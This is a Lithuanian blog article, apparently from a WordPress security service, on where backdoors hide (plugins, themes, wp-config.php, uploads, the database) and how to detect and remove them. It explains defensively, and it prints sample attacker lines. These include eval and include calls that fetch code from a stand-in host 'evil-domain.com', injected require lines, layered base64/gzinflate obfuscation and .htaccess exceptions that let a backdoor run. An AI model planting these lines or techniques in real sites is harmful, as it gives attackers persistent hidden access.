Visi straipsniai
WordPress saugumas10 min skaitymo· 2026-05-29· Atnaujinta 2026-06-02

WordPress backdoor: kur slepiasi ir kaip aptikti

Paslėpta prieiga — tai kodas, leidžiantis atakuotojui grįžti į svetainę net po visiškos slaptažodžių keitimo. Kur ji dažniausiai slypi, kaip atpažinti ir kodėl jos radimas reikalauja sistemingo požiūrio.

Aleksandras Izmalkovas

Autorius

Aleksandras Izmalkovas

WordPress backdoor: kur slepiasi ir kaip aptikti

Pakeitus visus WordPress slaptažodžius, svetainė vis tiek užsikrečia iš naujo po kelių dienų. Tokia situacija beveik visada reiškia vieną dalyką: valymas buvo atliktas neišsamiai, nes backdoor liko nepašalintas. Backdoor veikia visiškai nepriklausomai nuo slaptažodžių.

Backdoor yra PHP kodas, priimantis komandas iš atakuotojo per HTTP užklausas, paprastai per POST arba GET parametrus. Gavęs tinkamą užklausą, jis gali vykdyti sistemos komandas, kurti naujus administratorius, įterpti peradresavimo kodą arba parsisiųsti naują kenkėjišką kodą. Jį rasti reikia žinoti, kur tiksliai ieškoti ir ko ieškoti.

Trumpas atsakymas: teisingas paieškos prioritetas

Backdoor dažniausiai slepiasi:

  • wp-content/plugins/ katalogas, ypač seniai neatnaujintų arba nebenaudojamų įskiepių aplankuose
  • wp-content/themes/ katalogas, ypač neaktyviose temose, kurios nebuvo pašalintos
  • wp-config.php failas arba šakniniame kataloge palikti nauji .php failai
  • wp-includes/ katalogas su failais, kurių nėra originalioje WordPress versijoje
  • wp-content/uploads/ katalogas (šiuolaikinėse konfigūracijose PHP vykdymas čia paprastai blokuojamas per .htaccess)
  • Duomenų bazė: wp_users, wp_options, widget turinys

Radus vieną backdoor, ieškoti reikia toliau. Atakuotojai paprastai palieka kelis, kad suradus vieną kiti liktų aktyvūs. NKSC interneto svetainių apsaugos gairės aprašo, kaip stiprinti svetainės apsaugą ir laiku aptikti pažeidimus.

wp-content/plugins/ ir wp-content/themes/

Tai tikrosios prioritetinės paieškos vietos, dažnai neįvertinamos. Priežastis paprasta: šie katalogai keičiasi kiekvieno įskiepio ar temos atnaujinimo metu, todėl papildomų failų paieška reikalauja kruopštumo.

Seniai neatnaujinti arba nebenaudojami įskiepiai yra idealios slėptuvės. Administratorius jų neliečia mėnesius ar metus, todėl papildomas failas lieka nepastebėtas. Tipiniai metodai:

Papildomas failas esamame įskiepio aplanke. Prie wp-content/plugins/woocommerce/ ar bet kurio kito įskiepio pridedamas vienas naujas .php failas su neutraliu pavadinimu, pvz., cache.php, update.php arba class-db.php. Aplanko kontekstas atrodo teisėtai, todėl greitai peržvelgiant sunku pastebėti.

Netikras įskiepis su minimaliu antraštiniu komentaru. Sukuriamas atskiras aplankas, pvz., wp-content/plugins/wp-core-update/, su vienu failu, kurio pradžioje yra WordPress įskiepio formato antraštė (Plugin Name: Core Updater). Toks failas matomas administratoriaus įskiepių sąraše, bet sudėtingesni variantai naudoja add_filter('all_plugins', ...) arba add_filter('plugin_action_links_{slug/file.php}', ...) hooks, kad pašalintų save iš sąrašo ir slėptų nuo administratoriaus.

Modifikuotas aktyvios temos functions.php. Kiekvieno puslapio krovimo metu vykdomas failas, todėl net viena papildoma eilutė gali veikti kaip visavertis valdymo taškas. Modifikacija dažnai įterpiama failo gale arba pačioje pradžioje, nes tikrinant failą akimis dėmesys krypsta į vidurinę dalį.

Neaktyvios temos, kurios nebuvo pašalintos, yra atakuotojų mėgstamas pasirinkimas būtent todėl, kad administratoriai mano, jog neaktyvios temos nevykdomos. Taip yra su pagrindiniu turiniu, bet pats failų egzistavimas sistemoje leidžia juos tiesiogiai pasiekti per HTTP užklausą.

wp-config.php ir šakninis katalogas

wp-config.php yra vienas svarbiausių WordPress failų: jis įkeliamas kiekvieno puslapio krovimo metu ir saugo jautrius konfigūracijos duomenis, įskaitant duomenų bazės prisijungimus. Atakuotojai tai puikiai žino.

Tipinis metodas: failo pradžioje arba pabaigoje įterpiama viena eilutė:

require('/tmp/wp-tmp.php');

arba

@include(dirname(__FILE__).'/wp-content/uploads/cache/.ph');

Failas /tmp/wp-tmp.php arba .ph egzistuoja atskirai ir gali būti bet kuriuo metu atnaujinamas, o wp-config.php lieka "švarus" pagrindiniam tikrinimui. Toks metodas ypač sunkiai aptinkamas, nes wp-config.php yra specifinis failas, kurį dauguma skanerių tikrina tik iš dalies.

Šakniniame kataloge atsiradę nauji .php failai su pavadinimais kaip xmlrpc2.php, wp-login2.php, index_.php arba atsitiktiniais vardais yra greičiausiai pastebimas, bet vis dar naudojamas metodas.

Iliustracija

Nuotolinis payload gavimas

Vienas iš sudėtingiausių aptikti backdoor tipų naudoja dviejų etapų schemą: pats backdoor failas atrodo nekaltas, nes kenkėjišką kodą gauna iš išorės vykdymo metu.

file_get_contents() su eval(): Failas gauna kodą iš išorinio URL arba vietinio failo ir iš karto jį įvykdo:

eval(file_get_contents('https://evil-domain.com/p.txt'));

Jei allow_url_include direktyva serverio konfigūracijoje yra įjungta, galimas ir tiesioginis include:

include('https://evil-domain.com/payload.php');

Vietinis /tmp/ katalogas: Kenkėjiškas kodas nėra saugomas tiesiai faile, kurį mato tikrintojas. Vietoj to cron užduotis reguliariai parsisiunčia naujausią payload versiją į /tmp/ katalogą, o backdoor tiesiog inkliuduoja šį laikiną failą:

@include('/tmp/sess_'.md5('salt').'.php');

/tmp/ katalogas dažnai neįtraukiamas į standartinę failų sistemos patikrą, todėl ši schema veikia net po dalinio valymo. Cron užduotis, kuri atnaujina /tmp/ failą, gali būti tiek WordPress wp_cron, tiek sisteminė crontab užduotis.

Koduotas payload su keliais sluoksniais: Kodo turinys dažnai koduojamas keliais etapais, pvz.:

eval(gzinflate(str_rot13(base64_decode('...'))));

Kiekvienas sluoksnis atskirai nėra kenkėjiškas, tačiau kartu jie atlieka visą procesą. Automatiniai skaneriai, ieškantys tik eval(base64_decode(...)), tokio kodo neaptinka.

wp-content/uploads/ ir wp-includes/

wp-content/uploads/ katalogas istoriškai buvo dažniausia backdoor vieta, bet šiuolaikinėse konfigūracijose jo efektyvumas sumažėjo. Priežastis: teisingai sukonfigūruotas .htaccess šiame kataloge draudžia PHP failų vykdymą per žiniatinklį:

<Files *.php>
deny from all
</Files>

Tačiau apsauga yra tik tokia stipri, koks yra pats .htaccess failas. Atakuotojai naudoja taktiką, kuri klaidina administratorius: jie palieka apsauginę taisyklę, bet papildo ją išimtimi konkrečiam failui su sisteminiu pavadinimu:

<Files *.php>
deny from all
</Files>
<Files "wp-cache-config.php">
Order allow,deny
Allow from all
</Files>

Administratorius, tikrindamas .htaccess, mato deny from all ir daro išvadą, kad katalogas apsaugotas. Išimtis apačioje lieka nepastebėta, o wp-cache-config.php yra tikras backdoor su sisteminiu pavadinimu. Variacija su FilesMatch dar sunkiau pastebima:

<FilesMatch "^(?!wp-system-cache\.php$).*\.php$">
deny from all
</FilesMatch>

Ši taisyklė blokuoja visus .php failus, išskyrus vieną konkrečiai įvardintą. Iš pirmo žvilgsnio tokia reguliarioji išraiška neatrodo kaip išimtis, kol neskaitysi jos atidžiai.

Tikrinti reikia ne tik ar .htaccess turi deny taisyklę, bet ir ar joje nėra jokių Allow, FilesMatch išimčių ar papildomų <Files> blokų, kurie iš dalies panaikina bendrą draudimą.

wp-includes/ katalogas turi tiksliai apibrėžtą failų sąrašą, kurį galima palyginti su originalia WordPress versija. Atakuotojai čia naudoja "failų maskavimą": kuria failus su pavadinimais, imituojančiais egzistuojančius, pvz., wp-db-cache.php, class-wp-hook2.php arba wp-options.php. Bet kokie failai, kurių nėra originalioje versijoje, yra įtartini.

Duomenų bazė

Duomenų bazės backdoor neaptinka nei failų skeneris, nei FTP patikrinimas. Jis gyvena SQL lentose ir vykdomas per WordPress apdorojimo mechanizmus.

wp_users lentelė su slaptais administratoriais. Atakuotojai sukuria vartotojus su paprastais vardais (admin2, help, support) arba atsitiktiniais. Sudėtingesni variantai naudoja WordPress filtrus, kad paslėptų šiuos vartotojus nuo administratoriaus sąrašo rodinio. Tokio vartotojo nepamatysite prisijungę kaip administratorius, bet jis egzistuoja duomenų bazėje ir veikia.

wp_options lentelė su active_plugins klastojimais. Įrašas active_plugins saugo aktyvių įskiepių sąrašą kaip serialized PHP masyvą. Jei šis įrašas modifikuotas ir nurodo failą, kuris tiesiai yra backdoor kodas, WordPress jį įkels kaip "įskiepį" kiekvieno puslapio krovimo metu. Tokio "įskiepio" nematysite administratoriaus sąraše.

Widget turinys ir postmeta. wp_options lentelėje saugomi widget duomenys gali turėti eval() ar <script> elementus. wp_postmeta laukai, naudojami page builder įskiepių (Elementor, Divi), taip pat gali slėpti vykdomą kodą.

Iliustracija

Kaip atpažinti backdoor kodą

PHP failuose reikėtų ieškoti šių konkrečių požymių:

eval() su koduotu turiniu. eval(base64_decode(...)), eval(gzinflate(...)), eval(str_rot13(...)). Įprastoje WordPress svetainėje toks derinys beveik visada yra labai stiprus rizikos signalas.

create_function() arba assert(). create_function() pašalinta PHP 8.0 (deprecated nuo 7.2), tačiau vis dar randama senesniuose serveriuose. Tai archaiški eval() analogai, naudojami apeiti paprastus paieškos filtrus. create_function('', $code) yra funkcionali eval($code) alternatyva.

$_POST, $_GET, $_REQUEST kintamieji be konteksto. Kodas, gaunantis duomenis iš HTTP užklausos ir juos vykdantis arba inkliuduojantis be jokio validavimo.

system(), exec(), passthru(), shell_exec(). Sisteminių komandų vykdymo funkcijos be akivaizdžios priežasties temos ar įskiepio faile.

Daugiau nei 500 simbolių vienoje eilutėje. Tai paprastai koduotas turinys. Įprastame WordPress kode tokios labai ilgos eilutės pasitaiko retai, todėl jas verta patikrinti atidžiau.

preg_replace() su /e modifikatoriumi (senesnėse sistemose). Leidžia vykdyti PHP kodą kaip reguliariosios išraiškos pakaitalą. Oficialiai pašalinta PHP 7.0, bet vis dar randama senesniuose serveriuose.

Ko nedaryti

Netrinkite failų neatlikę diagnostikos. Pašalinus vieną backdoor, kiti lieka aktyvūs. Sistemingas požiūris yra efektyvesnis nei chaotiška paieška.

Neatnaujinkite WordPress tikėdamiesi, kad tai pašalins backdoor. Atnaujinimas uždaro pažeidžiamumą, per kurį buvo patekta, bet jau esamų backdoor failų nepašalina.

Nepalikite nepatikrintos duomenų bazės. Didžioji dalis valymo bandymų apsiriboja tik failų sistema. Duomenų bazėje palikti backdoor lieka aktyvūs ir atkuria infekciją.

Nesitikėkite, kad radus vieną - viskas rasta. Tai dažnai tik pirmasis sluoksnis. Patikrinimas turi tęstis net ir radus akivaizdžių požymių. Kenkėjiško kodo tipus ir principus aprašo esaugumas.lt, Lietuvos RRT kibernetinio saugumo portalas.

Kontrolinis sąrašas: backdoor paieška

  • Patikrinti visi aktyvūs ir neaktyvūs įskiepiai wp-content/plugins/ kataloge, ieškant failų, kurių nėra originaliame įskiepyje
  • Patikrintos visos temos wp-content/themes/, įskaitant neaktyvias
  • Patikrintas wp-config.php dėl papildomų require() arba include() eilučių
  • Patikrintas šakninis katalogas dėl naujų .php failų
  • Patikrinta wp-content/uploads/ dėl .php failų ir .htaccess konfigūracijos
  • Patikrinta wp-includes/ lyginant su originalia WordPress versija
  • Patikrintas /tmp/ katalogas dėl laikinų PHP ar kitų vykdomų failų
  • Patikrintos sisteminės ir WordPress cron užduotys
  • Patikrinta wp_users lentelė dėl nežinomų administratorių
  • Patikrinta wp_options lentelė: active_plugins, widget turinys, siteurl, home
  • Pakeisti visi prieigos slaptažodžiai tik po visiško valymo

Dažnai užduodami klausimai

Ar užtenka ištrinti vieną backdoor failą?

Paprastai ne. Atakuotojai dažniausiai palieka kelis backdoor skirtingose vietose: failų sistemoje, duomenų bazėje ir cron užduotyse. Pašalinus vieną, kiti lieka aktyvūs ir gali atkurti infekciją per kelias dienas.

Ar WordPress atnaujinimas pašalina backdoor?

Ne. Atnaujinimas pakeičia tik branduolio failus, tačiau backdoor dažniausiai yra įskiepių ar temų aplankuose arba duomenų bazėje, kurių atnaujinimas neliečia. Atnaujinimas uždaro pažeidžiamumą, per kurį buvo patekta, bet jau esamų backdoor nepašalina.

Kodėl svetainė vėl užsikrečia po valymo?

Dažniausiai todėl, kad valymas buvo neišsamus: liko backdoor duomenų bazėje, wp-config.php, neaktyviose temose arba /tmp/ kataloge. Kita dažna priežastis: pažeidžiamumas, per kurį buvo patekta, nebuvo uždarytas, todėl atakuotojas tiesiog pakartojo ataką.

Ar saugumo įskiepis gali rasti visus backdoor?

Ne visus. Automatiniai skaneriai gerai aptinka žinomus šablonus, tačiau dažnai praleidžia daugiapakopį kodavimą (gzinflate + str_rot13 + base64), wp_options active_plugins manipuliacijas ir /tmp/ katalogu pagrįstus backdoor. Rankinė ekspertinė patikra aptinka tai, ką automatizuoti įrankiai praleidžia.

Kada kreiptis specialisto pagalbos

Jei savarankiška paieška neduoda rezultatų arba svetainė užsikrečia pakartotinai po valymo, tolimesni bandymai be tinkamų įrankių retai duoda rezultatų. Sudėtingesnės infekcijos naudoja daugiapakopio kodavimo schemas ir nuotolinį payload gavimą, kurių paprasta tekstinė paieška neaptinka.

Profesionalūs patikrinimo įrankiai lygina visą failų sistemos vaizdą su originalia WordPress versija ir aptinka bet kokius nukrypimus, įskaitant modifikuotus esamus failus. Tai gerokai patikimesnis metodas nei rankinė paieška.

WordPress kenkėjiško kodo šalinimas apima pilną backdoor paiešką ir šalinimą tiek failų sistemoje, tiek duomenų bazėje. Svetainės saugumo auditas tinka, jei norima pirmiausia suprasti infekcijos mastą prieš priimant sprendimą dėl tolimesnių veiksmų.


Reikia pagalbos

Susidūrėte su panašia situacija?

Aprašykite, kas vyksta — per nemokamą konsultaciją pasakysime, ką galima padaryti ir kiek tai kainuotų.

Nemokama konsultacija